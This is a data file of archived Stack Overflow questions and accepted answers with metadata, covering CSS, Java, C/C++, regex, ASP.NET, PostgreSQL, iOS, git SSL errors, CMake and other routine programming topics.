3,253,775 | CSS class and id with the same name | <p>Is there anything wrong with having a css class and id with the same name? Like .footer for the article/post's footer and #footer for the page footer.</p> | 3,253,783 | 5 | 0 | null | 2010-07-15 08:30:16.557 UTC | 17 | 2022-08-02 10:56:54.997 UTC | null | null | null | null | 336,528 | null | 1 | 82 | css|class | 32,929 | <p>Nope, perfectly acceptable.</p>
<p>A class is defined using a <code>.</code> and an ID is defined using a <code>#</code>. So as far as the browser is concerned, they're two totally separate items.</p>
<p>The only thing to be careful of is generating any confusion for yourself. It's probably best practise to keep the names different purely for code readability, but there's no harm in them being the same.</p> |
3,571,352 | How to convert Integer to int? | <p>I am working on a web application in which data will be transfer between client & server side. </p>
<p>I already know that JavaScript int != Java int. Because, Java int cannot be null, right.
Now this is the problem I am facing.</p>
<p>I changed my Java int variables into Integer. </p>
<pre><code>public void aouEmployee(Employee employee) throws SQLException, ClassNotFoundException
{
Integer tempID = employee.getId();
String tname = employee.getName();
Integer tage = employee.getAge();
String tdept = employee.getDept();
PreparedStatement pstmt;
Class.forName("com.mysql.jdbc.Driver");
String url ="jdbc:mysql://localhost:3306/general";
java.sql.Connection con = DriverManager.getConnection(url,"root", "1234");
System.out.println("URL: " + url);
System.out.println("Connection: " + con);
pstmt = (PreparedStatement) con.prepareStatement("REPLACE INTO PERSON SET ID=?, NAME=?, AGE=?, DEPT=?");
pstmt.setInt(1, tempID);
pstmt.setString(2, tname);
pstmt.setInt(3, tage);
pstmt.setString(4, tdept);
pstmt.executeUpdate();
}
</code></pre>
<p>My problem is here:</p>
<pre><code>pstmt.setInt(1, tempID);
pstmt.setInt(3, tage);
</code></pre>
<p>I cant use the Integer variables here. I tried with <code>intgerObject.intValue();</code>
But it makes things more complex. Do we have any other <strong>conversion methods or conversion techniques?</strong></p>
<p>Any fix would be better.</p> | 3,574,500 | 5 | 8 | null | 2010-08-26 00:50:43.437 UTC | 19 | 2017-04-04 03:52:15.423 UTC | 2014-11-25 20:05:04.11 UTC | null | 3,885,376 | user405398 | null | null | 1 | 93 | java|integer | 326,483 | <p>As already written elsewhere: </p>
<ul>
<li>For Java 1.5 and later you don't need to do (almost) anything, it's done by the compiler. </li>
<li>For Java 1.4 and before, use <code>Integer.intValue()</code> to convert from Integer to int. </li>
</ul>
<p>BUT as you wrote, an <code>Integer</code> can be null, so it's wise to check that before trying to convert to <code>int</code> (or risk getting a <code>NullPointerException</code>). </p>
<pre><code>pstmt.setInt(1, (tempID != null ? tempID : 0)); // Java 1.5 or later
</code></pre>
<p>or </p>
<pre><code>pstmt.setInt(1, (tempID != null ? tempID.intValue() : 0)); // any version, no autoboxing
</code></pre>
<p><sup>*</sup> <em>using a default of zero, could also do nothing, show a warning or ...</em></p>
<p>I mostly prefer not using autoboxing (second sample line) so it's clear what I want to do.</p> |
3,672,234 | C++ function to count all the words in a string | <p>I was asked this during an interview and apparently it's an easy question but it wasn't and still isn't obvious to me.</p>
<p>Given a string, count all the words in it. Doesn't matter if they are repeated. Just the total count like in a text files word count. Words are anything separated by a space and punctuation doesn't matter, as long as it's part of a word. </p>
<p>For example:
<code>A very, very, very, very, very big dog ate my homework!!!! ==> 11 words</code></p>
<p>My "algorithm" just goes through looking for spaces and incrementing a counter until I hit a null. Since i didn't get the job and was asked to leave after that I guess My solution wasn't good? Anyone have a more clever solution? Am I missing something?</p> | 3,672,390 | 10 | 4 | null | 2010-09-08 22:02:31.22 UTC | 10 | 2021-04-05 05:07:53.223 UTC | 2010-09-09 01:37:25.373 UTC | null | 418,110 | null | 750 | null | 1 | 17 | c++|string | 81,155 | <p>A less clever, more obvious-to-all-of-the-programmers-on-your-team method of doing it.</p>
<pre><code>#include <cctype>
int CountWords(const char* str)
{
if (str == NULL)
return error_condition; // let the requirements define this...
bool inSpaces = true;
int numWords = 0;
while (*str != '\0')
{
if (std::isspace(*str))
{
inSpaces = true;
}
else if (inSpaces)
{
numWords++;
inSpaces = false;
}
++str;
}
return numWords;
}
</code></pre> |
3,530,771 | Passing variable arguments to another function that accepts a variable argument list | <p>So I have 2 functions that both have similar arguments</p>
<pre><code>void example(int a, int b, ...);
void exampleB(int b, ...);
</code></pre>
<p>Now <code>example</code> calls <code>exampleB</code>, but how can I pass along the variables in the variable argument list without modifying <code>exampleB</code> (as this is already used elsewhere too).</p> | 3,530,807 | 10 | 4 | null | 2010-08-20 12:22:06.363 UTC | 28 | 2021-12-22 12:54:05.473 UTC | 2018-06-29 00:48:05.81 UTC | null | 9,586,195 | null | 327,687 | null | 1 | 141 | c++|variadic-functions | 130,378 | <p>You can't do it directly; you have to create a function that takes a <code>va_list</code>:</p>
<pre><code>#include <stdarg.h>
static void exampleV(int b, va_list args);
void exampleA(int a, int b, ...) // Renamed for consistency
{
va_list args;
do_something(a); // Use argument a somehow
va_start(args, b);
exampleV(b, args);
va_end(args);
}
void exampleB(int b, ...)
{
va_list args;
va_start(args, b);
exampleV(b, args);
va_end(args);
}
static void exampleV(int b, va_list args)
{
...whatever you planned to have exampleB do...
...except it calls neither va_start nor va_end...
}
</code></pre> |
3,717,115 | Regular expression for youtube links | <p>Does someone have a regular expression that gets a link to a Youtube video (not embedded object) from (almost) all the possible ways of linking to Youtube?</p>
<p>I think this is a pretty common problem and I'm sure there are a lot of ways to link that.</p>
<p>A starting point would be:</p>
<ul>
<li><a href="http://www.youtube.com/watch?v=iwGFalTRHDA" rel="noreferrer">http://www.youtube.com/watch?v=iwGFalTRHDA</a></li>
<li><a href="http://www.youtube.com/watch?v=iwGFalTRHDA&feature=related" rel="noreferrer">http://www.youtube.com/watch?v=iwGFalTRHDA&feature=related</a></li>
<li><a href="http://youtu.be/iwGFalTRHDA" rel="noreferrer">http://youtu.be/iwGFalTRHDA</a></li>
<li><a href="http://youtu.be/n17B_uFF4cA" rel="noreferrer">http://youtu.be/n17B_uFF4cA</a></li>
<li><a href="http://www.youtube.com/embed/watch?feature=player_embedded&v=r5nB9u4jjy4" rel="noreferrer">http://www.youtube.com/embed/watch?feature=player_embedded&v=r5nB9u4jjy4</a></li>
<li><a href="http://www.youtube.com/watch?v=t-ZRX8984sc" rel="noreferrer">http://www.youtube.com/watch?v=t-ZRX8984sc</a></li>
<li><a href="http://youtu.be/t-ZRX8984sc" rel="noreferrer">http://youtu.be/t-ZRX8984sc</a></li>
<li>... please add more possible links and/or regular expressions to detect them.</li>
</ul> | 3,726,073 | 20 | 1 | null | 2010-09-15 11:24:19.12 UTC | 18 | 2022-04-03 14:05:33.633 UTC | 2012-04-19 05:54:19.497 UTC | null | 27,657 | null | 31,407 | null | 1 | 46 | regex|youtube | 57,232 | <p>So far I got this <code>Regular expression</code> working for the examples I posted, and it gets the ID on the first group:</p>
<pre><code>http(?:s?):\/\/(?:www\.)?youtu(?:be\.com\/watch\?v=|\.be\/)([\w\-\_]*)(&(amp;)?[\w\?=]*)?
</code></pre> |
7,710,868 | The EXECUTE permission was denied on the object 'aspnet_CheckSchemaVersion', database 'XXX' | <p>I use asp.net 4 C# and entity framework 4 with MS SQL 2008. I'm trying to set up my web application locally using IIS 7.</p>
<p>For my website I user Asp membership provider which has installed different tables and sprocs in my db (aspnet_).</p>
<p>Running the script we receive this error:</p>
<blockquote>
<p>The EXECUTE permission was denied on the object 'aspnet_CheckSchemaVersion', database 'XXX', schema 'dbo'. at System.Data.SqlClient.SqlConnection.OnError</p>
</blockquote>
<p>How can I solve the problem?</p> | 7,711,234 | 4 | 2 | null | 2011-10-10 09:33:16.133 UTC | 5 | 2020-08-02 16:12:59.337 UTC | 2020-08-02 16:12:59.337 UTC | null | 214,143 | null | 379,008 | null | 1 | 18 | asp.net|sql-server-2008|asp.net-membership | 50,937 | <p>There should be some db roles related to the membership tables, eg aspnet_profile_fullaccess. Make sure the account you're using is a member of the appropriate role. </p>
<p>You should NOT assign the user you connect to the DB as dbowner privilege. The account should have only the rights it needs & nothing more. If you grant dbo & someone were to exploit a flaw in your website they would have full uncontrolled access to your entire db to what they wanted - delete tables, change data at will.</p> |
7,836,906 | How to remove carriage returns and new lines in Postgresql? | <p>All,</p>
<p>I am stuck again trying to get my data in a format that I need it in. I have a text field that looks like this.</p>
<blockquote>
<p>"deangelo 001 deangelo</p>
<p>local origin of name: italain</p>
<p>from the american name deangelo</p>
<p>meaning: of the angels</p>
<p>emotional spectrum • he is a fountain of joy for all.</p>
<p>personal integrity • his good name is his most precious asset.
personality • it’s hard to soar with eagles when you’re surrounded by
turkeys! relationships • starts slowly, but a relationship with
deangelo builds over time. travel & leisure • a trip of a lifetime
is in his future.</p>
<p>career & money • a gifted child, deangelo will need to be
challenged constantly.</p>
<p>life’s opportunities • joy and happiness await this blessed person.</p>
<p>deangelo’s lucky numbers: 12 • 38 • 18 • 34 • 29 • 16</p>
<p>"</p>
</blockquote>
<p>What would the best way be in Postgresql to remove the carriage returns and new lines? I've tried several things and none of them want to behave.</p>
<pre><code>select regexp_replace(field, E'\r\c', ' ', 'g') from mytable
WHERE id = 5520805582
SELECT regexp_replace(field, E'[^\(\)\&\/,;\*\:.\>\<[:space:]a-zA-Z0-9-]', ' ')
FROM mytable
WHERE field~ E'[^\(\)\&\/,;\*\:.\<\>[:space:]a-zA-Z0-9-]'
AND id = 5520805582;
</code></pre>
<p>Thanks in advance,
Adam</p> | 7,837,322 | 4 | 0 | null | 2011-10-20 13:46:50.39 UTC | 20 | 2017-03-27 13:35:02.517 UTC | 2011-10-20 16:14:00.49 UTC | null | 444,991 | null | 759,422 | null | 1 | 92 | regex|postgresql | 139,791 | <pre><code>select regexp_replace(field, E'[\\n\\r]+', ' ', 'g' )
</code></pre>
<p>read the manual <a href="http://www.postgresql.org/docs/current/static/functions-matching.html" rel="noreferrer">http://www.postgresql.org/docs/current/static/functions-matching.html</a></p> |
7,759,119 | Commonly-accepted approach in MVC for form within jQuery dialog | <p>There seem to be several ways to integrate jQuery dialogs with ASP.NET MVC. Has a specific approach emerged as the commonly-accepted best-practice way to do so? </p>
<p>As an example: I have a list page where clicking "edit" for any of the listed items opens a form in a jQuery dialog, populated with the item's details. User edits details and clicks "save". If the save succeeds on the server-side, the dialog is closed and the list is re-built with fresh data. If the save fails on the server-side, the dialog remains open and displays the error message(s) to the user.</p>
<ol>
<li><strong>No-JSON approach:</strong> each "edit" link is an HREF to an "edit" controller action. That controller action builds a view that is identical to the "list" view, plus it includes a partial action to build the edit form, populate it, and define the javascript to pop it open as a jquery dialog. The "save" is a form-post; if it succeeds, it returns a redirect action back to the list page. If it fails, it rebuilds the entire page (including the form that pops up in a dialog) displaying the error messages as well.</li>
<li><strong>All-JSON approach:</strong> the list page renders an empty edit form (hidden), ready to be popped open into a dialog. The "edit" link calls local javascript which does an ajax request to get the full object (I define a controller which returns the full object as a JsonResult). On success, it fills the edit form with the object's data and opens the dialog. The "save" link calls local javascript which bundles the form data into a json object, and calls a post operation with that json object as payload (I define a controller which expects that object, attempts the save, and returns a JsonResult indicating success/failure+errorMessages). Success callback from the ajax request evaluates the returned object, and either shows the error messages in the still-open jquery dialog, or closes the dialog and reloads the "list" page to get fresh data in the list.</li>
<li><strong>[Edit] Ajax-HTML approach:</strong> just saw <a href="https://stackoverflow.com/questions/6443337/jquery-mvc3-submitting-a-partial-view-form-within-a-modal-dialog">this SO discussion</a> which describes another approach. The "edit" calls local javascript which does an ajax post to get the FULL HTML of the dialog (I would write a controller which returns a partial view: the fully-populated form). It renders the returned HTML into a jquery dialog, and also "re-wires" the form submission to do an ajax-post of the form's contents (I would write an httpPost controller, same as in #2 above). The success callback evaluates the response and populates error messages or closes the dialog.</li>
<li><strong>Some other cool approach I haven't thought of?</strong></li>
</ol>
<p>Option 1 seems to be more in keeping with "pure" ASP.NET MVC. However, it seems to feature big HTTP payloads (since we're shipping the full page back to the browser on every request), and slower server-side performance (since we're re-building the list on every request).</p>
<p>Option 2 seems to be more consistent with more modern Ajax-based web applications (smaller HTTP payloads, more granular operations). However, it seems like many of the controllers will be JSON controllers, and I'll be writing a lot of client-side code to marshal data from JSON objects to/from form fields, display error messages, etc. It also seems like I'd be missing out on a lot of cool MVC features like EditorFor() and ValidationMessageFor(). It just "feels" like I'm working around the MVC system instead of with it.</p>
<p><strong>[Edit: added option 3]</strong> Option 3 seems to be a bit of a hybrid between 1 and 2. I use the "pure" MVC approach to build and populate the form, and return a fully-formed HTML FORM tag. Returning HTML to an ajax request feels weird since it's so verbose, but I can get over it. The post operation is nice, compact JSON which "feels" better over ajax. However, it's unfortunate that the payload object is a FormCollection rather than a real viewmodel object. It seems like I can make use of some of the MVC conveniences (EditorFor()) but not others (ValidationMessageFor()).</p>
<p>I'm looking for the "right" way to do this, not just the fastest way to hack it together. Yeah, yeah, I know there's no universally "right" way. But I'm sure there's some notably wrong ways to do it, and I want to avoid them.</p>
<p>I'm pretty experienced in ASP.NET/C#, but I'm pretty new to MVC. Thanks in advance for your help!</p>
<p><strong>[Edit]</strong> - outstanding responses - I wish I could award multiple answers/bounties, as I found several responses extremely useful. But since I can't, I'm marking the top-voted response as the answer. Thanks again to all respondents!</p> | 7,760,833 | 5 | 0 | null | 2011-10-13 19:03:22.307 UTC | 12 | 2011-11-08 00:26:21.263 UTC | 2017-05-23 12:03:58.297 UTC | null | -1 | null | 323,736 | null | 1 | 18 | asp.net|asp.net-mvc|ajax|asp.net-mvc-3 | 3,378 | <p>My team and I have a lot of experience writing AJAX enabled MVC apps, and we have used all 3 approaches.</p>
<p>However, my favorite is definitely the <strong>AJAX-HTML approach</strong> -- Use a <code>PartialView</code> to render the contents of the dialog, which could include server-side validation messages and any other logic. </p>
<p>The biggest benefit of this approach is the <strong>separation of concerns</strong> - your Views are <em>always</em> responsible for rendering your HTML, and your JavaScript doesn't have to contain any text, markup, or "templates" needed to render the JSON. </p>
<p>Another big advantage is that all the great MVC features are available for rendering the HTML: strongly-typed views, <code>HtmlHelper</code>, <code>DisplayFor</code> and <code>EditorFor</code> templates, <code>DataAnnotations</code>, etc. This makes it easier to be consistent and lends well to refactoring.</p>
<p>Just remember, there's no requirement to stick to a single approach. When your AJAX call only needs something simple, such as a status update like "Success", it's fine to just use a <code>string</code> or <code>JSON</code> to convey those messages. Use <code>PartialViews</code> when HTML is needed, and use simpler methods when communication is needed.</p> |
7,931,362 | iOS UIButton how does one make beautiful buttons like this? | <p>Is this a UIButton? If it is, how is the background red done? Obviously, it is not
red UIColor? Is there same tool or utility included with Xcode to allow making buttons
like this? </p>
<p><img src="https://i.stack.imgur.com/UzI2s.jpg" alt="enter image description here"></p> | 7,931,522 | 5 | 1 | null | 2011-10-28 15:25:44.917 UTC | 14 | 2013-04-01 14:54:19.977 UTC | 2011-10-28 15:40:31.203 UTC | null | 143,097 | null | 174,602 | null | 1 | 19 | iphone|ios|background|uibutton | 12,150 | <p>You can generate similar buttons with private class <code>UIGlassButton</code>.
I saw it first here <a href="http://pastie.org/830884">http://pastie.org/830884</a> by @schwa. </p>
<p>Run an app with this code in your iOS simulator to create a custom button (or in the device, save to $(APP)/Documents and enable iTunes file sharing).</p>
<pre><code>Class theClass = NSClassFromString(@"UIGlassButton");
UIButton *theButton = [[[theClass alloc] initWithFrame:CGRectMake(10, 10, 120, 44)] autorelease];
// Customize the color
[theButton setValue:[UIColor colorWithHue:0.267 saturation:1.000 brightness:0.667 alpha:1.000] forKey:@"tintColor"];
//[theButton setTitle:@"Accept" forState:UIControlStateNormal];
[self.view addSubview:theButton];
UIGraphicsBeginImageContext(theButton.frame.size);
CGContextRef theContext = UIGraphicsGetCurrentContext();
[theButton.layer renderInContext:theContext];
UIImage *theImage = UIGraphicsGetImageFromCurrentImageContext();
NSData *theData = UIImagePNGRepresentation(theImage);
[theData writeToFile:@"/Users/<# your user #>/Desktop/button.png" atomically:NO];
UIGraphicsEndImageContext();
</code></pre>
<p>Once you obtain the png, use it as button background.</p>
<p>Alternatively, you can <a href="http://iphonedevelopment.blogspot.com/2010/05/programmatic-gradient-buttons.html">build the buttons programmatically</a> (by Jeff Lamarche).</p> |
7,698,867 | Can ack find files based on filename only? | <p>Using <a href="http://betterthangrep.com/">ack</a> (sometimes packaged as ack-grep) I know that I can find <em>paths</em> that contain a specific string by doing:<br>
<code>ack -g somestring</code></p>
<p>But what if I only want files which have "somestring" in their <em>filenames</em>?</p> | 7,698,924 | 5 | 0 | null | 2011-10-08 18:26:53.38 UTC | 12 | 2016-07-27 02:57:30.883 UTC | 2011-10-15 04:52:56.783 UTC | null | 8,454 | null | 129,638 | null | 1 | 28 | filenames|ack | 14,917 | <p>You can use <code>find</code> utility. Something like this:</p>
<pre><code>find /path/to/look/in -name '*somestring*' -print
</code></pre>
<p>On some systems, if you omit the path, current directory is used. On other systems you can't omit it, just use <code>.</code> for current directory instead.</p>
<p>Also, read <code>man find</code> for many other options.</p> |
7,748,454 | Is there an alternative to ctags that works better? | <p>I have just discovered the taglist plugin for vim, and read about <a href="http://amix.dk/blog/post/19329">how to use it with ctags</a>.</p>
<p>However, disappointingly ctags is a very simple parser.</p>
<p>Is there an alternative that is more complete?</p>
<p>Specifically I'm looking for something that:</p>
<ul>
<li><p>expands <code>#define(x, y) x ## y</code> style macros for function declarations </p></li>
<li><p>processes <code>#include</code> statements</p></li>
<li><p>allows include paths to be specified for dependencies</p></li>
</ul>
<p>I see that clang provides a programatic api for accessing the c AST, so surely this isn't terribly hard to do? </p>
<p>Has someone already done it?</p>
<p>-- </p>
<p>Edit:</p>
<p>These ones don't cut it:</p>
<ul>
<li><p><strong>clang_indexer</strong> - Doesn't compile; when it does (after hacking), doesn't work (endless errors).</p></li>
<li><p><strong>clang_complete</strong> - Doesn't seem any better than ctags. No context specific recommendations, no struct completion, no function arguments, no macro expansion; just a list of symbols and the file they came from.</p></li>
</ul> | 7,811,332 | 5 | 5 | null | 2011-10-13 01:33:34.89 UTC | 16 | 2019-07-09 03:09:39.79 UTC | 2011-10-18 17:26:44.84 UTC | null | 60,531 | null | 353,820 | null | 1 | 41 | vim|ctags | 22,492 | <p>I've spent quite some time struggling with this myself. </p>
<p>The closest I ever got was something called <a href="http://cx4a.org/software/gccsense/" rel="nofollow noreferrer">gccsense</a>. Unfortunately, the project seems abandoned and moreover it was difficult setting it up because English was not the author's first language.</p>
<p>I ended up approaching the problem from another angle. I made the decision that intellisense/autocomplete was more important to my coding than having all the available features of vim, so I chose an IDE like Eclipse, and then found a plugin for Eclipse that emulates Vim. So far the best kind of plugin like that that I found was <a href="https://marketplace.eclipse.org/content/viable-vim-eclipse" rel="nofollow noreferrer">Viable</a>.</p>
<p>Here is the full list of options that I have tried and found unsatisfactory:</p>
<ul>
<li>clang - requires you switch from gcc to a different and "better" compiler. The problem is gcc is much more mature [<em>edit</em> apparently you don't need to switch compilers see comments below, I may give this another try in the future.]</li>
<li>gccsense - great idea (using gcc to give you the code completion) however work on the project is abandoned :( and the version that is up is beta quality</li>
<li><a href="http://www.xref.sk/xrefactory/main.html" rel="nofollow noreferrer">xref</a> in vim - xref is a great standalone tool and works great for parsing C. It can be made to work in vim with <a href="http://code.google.com/p/vxref/" rel="nofollow noreferrer">vxref</a>, however from my experience xref lacks in parsing current C++ code and development on it has stopped (as well as development on vxref.)</li>
<li>eclim - seems to work great for Java support using eclipse, extremely slow and completely unreliable when parsing C++ or C code. What usually happens is everything works for a long while, but then suddenly, the parser stops parsing any new code that you write, and nothing short of loading up eclipse itself and forcing eclipse to reparse the project seems to help. Also, less of an important fact, but more of an annoyance is that eclim takes over handling errors, so it screws up the way vim usually parses errors from gcc meaning you have no access to the quickfix list which is annoying.</li>
<li>netbeans + jvi - alot of people swear by this, but I had all sorts of problems with jvi. One major problem I had was jvi would say I'm in normal mode, but really was in insert mode, nothing short of a restart would help.</li>
<li>eclipse + viplugin/vrapper - this was beginning to look like the best option; each had its own set of bugs + lacking features, but still was most attractive, until I found viable which seemed to be the most stable and have the most features.</li>
</ul>
<p>If you do find a solution you are happy with please share it in a comment, because I would be interested in it.</p> |
8,036,332 | Converting a Java Map object to a Properties object | <p>Is anyone able to provide me with a better way than the below for converting a Java Map object to a Properties object?</p>
<pre><code> Map<String, String> map = new LinkedHashMap<String, String>();
map.put("key", "value");
Properties properties = new Properties();
for (Map.Entry<String, String> entry : map.entrySet()) {
properties.put(entry.getKey(), entry.getValue());
}
</code></pre>
<p>Thanks</p> | 8,036,375 | 5 | 1 | null | 2011-11-07 12:14:07.943 UTC | 8 | 2022-03-16 09:23:18.557 UTC | null | null | null | null | 1,033,688 | null | 1 | 41 | java|map|properties | 39,281 | <p>Use <code>Properties::putAll(Map<String,String>)</code> method:</p>
<pre><code>Map<String, String> map = new LinkedHashMap<String, String>();
map.put("key", "value");
Properties properties = new Properties();
properties.putAll(map);
</code></pre> |
8,078,388 | Hiding title tags on hover | <p>I've looked through previous questions and none of them have really worked for me, i've checked google to and the information I found seems pretty vague, so I thought i'd try here.</p>
<p>Is anyone aware/or have tackle the problem of title tags displaying on hover. I have a series of links and images that will be assigned title tags, however, some of them will be displaying information that would be better off not popping up on hover. </p>
<p>Is there a global function I could use to apply this to all manner of title tags? An example would be as follows:</p>
<pre><code><a href="service.php" title="services for cars" />
</code></pre>
<p>If possible I would like to disable the title "services from cars" appearing on hover.</p>
<p>Thanks again.</p> | 8,078,446 | 6 | 0 | null | 2011-11-10 10:53:37.317 UTC | 1 | 2018-01-18 13:31:17.803 UTC | null | null | null | null | 851,734 | null | 1 | 8 | html|popup|title|onhover | 45,755 | <p>This should work just fine to disable single title:</p>
<pre><code><a href="service.php" title="services for cars" onmouseover="this.title='';" />
</code></pre>
<p>If you need the title afterwards, you can restore it:</p>
<pre><code><a href="service.php" title="services for cars" onmouseover="this.setAttribute('org_title', this.title'); this.title='';" onmouseout="this.title = this.getAttribute('org_title');" />
</code></pre>
<p>This way is not generic though.. to have it applied to all the anchors, have such JavaScript code:</p>
<pre><code>window.onload = function() {
var links = document.getElementsByTagName("a");
for (var i = 0; i < links.length; i++) {
var link = links[i];
link.onmouseover = function() {
this.setAttribute("org_title", this.title);
this.title = "";
};
link.onmouseout = function() {
this.title = this.getAttribute("org_title");
};
}
};
</code></pre>
<p><a href="http://jsfiddle.net/dLBDh/" rel="noreferrer">Live test case</a>.</p>
<p>Edit: to apply same for more tags (e.g. <code><img></code>) first move the core of the code to a function:</p>
<pre><code>function DisableToolTip(elements) {
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
element.onmouseover = function() {
this.setAttribute("org_title", this.title);
this.title = "";
};
element.onmouseout = function() {
this.title = this.getAttribute("org_title");
};
}
}
</code></pre>
<p>Then change the code to:</p>
<pre><code>window.onload = function() {
var links = document.getElementsByTagName("a");
DisableToolTip(links);
var images = document.getElementsByTagName("img");
DisableToolTip(images);
};
</code></pre> |
7,814,423 | SSL works with browser, wget, and curl, but fails with git | <p>I have a website I am using to host redmine and several git repositories</p>
<p>This works perfectly for http, but I can't clone with https, i.e.</p>
<pre><code>git clone http://mysite.com/git/test.git
</code></pre>
<p>works fine, but</p>
<pre><code>git clone https://mysite.com/git/test.git
</code></pre>
<p>fails</p>
<p>The strange thing is that https seems to work for everything else I have tested. If I open </p>
<pre><code>https://mysite.com/git/test.git
</code></pre>
<p>in a browser (tested in chrome and firefox), I get no errors or warnings. I can also </p>
<pre><code>curl https://mysite.com/git/test.git
wget https://mysite.com/git/test.git
</code></pre>
<p>both of which work with no complaints or warnings.</p>
<p>Here is the verbose output from git:</p>
<pre><code>$ GIT_CURL_VERBOSE=1 git clone https://[email protected]/test/test.git
Cloning into test...
Password:
* Couldn't find host mysite.com in the .netrc file; using defaults
* About to connect() to mysite.com port 443 (#0)
* Trying 127.0.0.1... * Connected to mysite.com (127.0.0.1) port 443 (#0)
* found 157 certificates in /etc/ssl/certs/ca-certificates.crt
* server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none
* Closing connection #0
* Couldn't find host mysite.com in the .netrc file; using defaults
* About to connect() to mysite.com port 443 (#0)
* Trying 127.0.0.1... * Connected to mysite.com (127.0.0.1) port 443 (#0)
* found 157 certificates in /etc/ssl/certs/ca-certificates.crt
* server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none
* Closing connection #0
error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing https://user\
@mysite.com/test/test.git/info/refs
fatal: HTTP request failed
</code></pre>
<p>Here is the verbose output from curl, with the personal info changed:</p>
<pre><code>* About to connect() to mysite.com port 443 (#0)
* Trying 127.0.0.1... connected
* Connected to mysite.com (127.0.0.1) port 443 (#0)
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server key exchange (12):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using DHE-RSA-AES256-SHA
* Server certificate:
* subject: C=US; <... cut my certs info ...>
* start date: 2011-10-18 00:00:00 GMT
* expire date: 2013-10-17 23:59:59 GMT
* subjectAltName: mysite.com matched
* issuer: C=GB; ST=Greater Manchester; L=Salford; O=COMODO CA Limited; CN=COMODO High-Assurance Secure Server CA
* SSL certificate verify ok.
> GET / HTTP/1.1
> User-Agent: curl/7.21.6 (x86_64-pc-linux-gnu) libcurl/7.21.6 OpenSSL/1.0.0e zlib/1.2.3.4 libidn/1.22 librtmp/2.3
> Host: mysite.com
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 18 Oct 2011 21:39:54 GMT
< Server: Apache/2.2.14 (Ubuntu)
< Last-Modified: Fri, 14 Oct 2011 03:20:01 GMT
< ETag: "8209c-87-4af39bb89ccac"
< Accept-Ranges: bytes
< Content-Length: 135
< Vary: Accept-Encoding
< Content-Type: text/html
< X-Pad: avoid browser bug
<
<p>Welcome to the mysite.com<p/>
* Connection #0 to host mysite.com left intact
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):
</code></pre>
<p>The only difference I can see is that git seems to be using an explicit CAfile while curl uses the whole directory? I'm new to ssl (at least on the admin side), so I'm not sure what this means or how I could configure git to work the same way as curl.</p>
<p>I am using git 1.7.5.4 and apache 2.2.14 on Ubuntu 10.04. I've tried cloning from 3 different linux hosts (including another account on the server itself), and nothing works.</p>
<p>I've also used the openssl tool to verify my cert on the server:</p>
<pre><code>$openssl verify -purpose sslserver -CAfile chain.crt signed.pem
signed.pem: OK
</code></pre>
<p>This may be related to the bug <a href="https://bugs.maemo.org/show_bug.cgi?id=4953">https://bugs.maemo.org/show_bug.cgi?id=4953</a> but it seems different because I am not getting any warning or errors in any other program.</p>
<p>It may be worth mentioning that I am using gitolite and <a href="https://github.com/ericpaulbishop/redmine_git_hosting">redmine_git_hosting</a> using smart http to do authentication over https. I don't think any of this is at fault though, because the problem exists even if I just stick an otherwise working bare repo in /var/www and access it directly. Also, git over ssh (with and without gitolite) works.</p>
<p>Please let me know if you have any idea what might be wrong or if you'd like some more info. I'd really prefer to get ssl working properly, as opposed to forcing everyone to disable certificate checking in git, although that is a current workaround.</p>
<p>Thanks for reading this long post!</p> | 16,577,227 | 6 | 1 | null | 2011-10-18 22:16:41.66 UTC | 12 | 2015-07-13 21:56:04.59 UTC | null | null | null | null | 1,001,996 | null | 1 | 23 | apache|git|ssl|redmine | 33,286 | <p>It turns out that this was a gnuTLS issue. gnuTLS is order sensitive, while openssl is not. I re-ordered the certificates in my intermediate cert file and the problem went away</p> |
7,724,569 | Debug vs Release in CMake | <p>In a GCC compiled project,</p>
<ul>
<li>How do I run CMake for each target type (debug/release)?</li>
<li>How do I specify debug and release C/C++ flags using CMake?</li>
<li>How do I express that the main executable will be compiled with <code>g++</code> and one nested library with <code>gcc</code>?</li>
</ul> | 7,725,055 | 6 | 0 | null | 2011-10-11 10:26:54.997 UTC | 170 | 2022-08-14 07:52:34.233 UTC | 2018-09-12 03:37:25.153 UTC | null | 63,550 | null | 684,534 | null | 1 | 550 | c++|c|gcc|cmake | 647,934 | <p>With CMake, it's generally recommended to do an <a href="https://gitlab.kitware.com/cmake/community/wikis/FAQ#out-of-source-build-trees" rel="noreferrer">"out of source" build</a>. Create your <code>CMakeLists.txt</code> in the root of your project. Then from the root of your project:</p>
<pre><code>mkdir Release
cd Release
cmake -DCMAKE_BUILD_TYPE=Release ..
make
</code></pre>
<p>And for <code>Debug</code> (again from the root of your project):</p>
<pre><code>mkdir Debug
cd Debug
cmake -DCMAKE_BUILD_TYPE=Debug ..
make
</code></pre>
<p><code>Release</code> / <code>Debug</code> will add the appropriate flags for your compiler. There are also <code>RelWithDebInfo</code> and <code>MinSizeRel</code> build configurations.</p>
<hr>
<p>You can modify/add to the flags by specifying a <a href="https://cmake.org/cmake/help/latest/manual/cmake-toolchains.7.html" rel="noreferrer">toolchain file</a> in which you can add <a href="https://cmake.org/cmake/help/latest/variable/CMAKE_LANG_FLAGS_CONFIG_INIT.html" rel="noreferrer"><code>CMAKE_<LANG>_FLAGS_<CONFIG>_INIT</code></a> variables, e.g.:</p>
<pre><code>set(CMAKE_CXX_FLAGS_DEBUG_INIT "-Wall")
set(CMAKE_CXX_FLAGS_RELEASE_INIT "-Wall")
</code></pre>
<p>See <a href="https://cmake.org/cmake/help/latest/variable/CMAKE_BUILD_TYPE.html" rel="noreferrer">CMAKE_BUILD_TYPE</a> for more details.</p>
<hr>
<p>As for your third question, I'm not sure what you are asking exactly. CMake should automatically detect and use the compiler appropriate for your different source files.</p> |
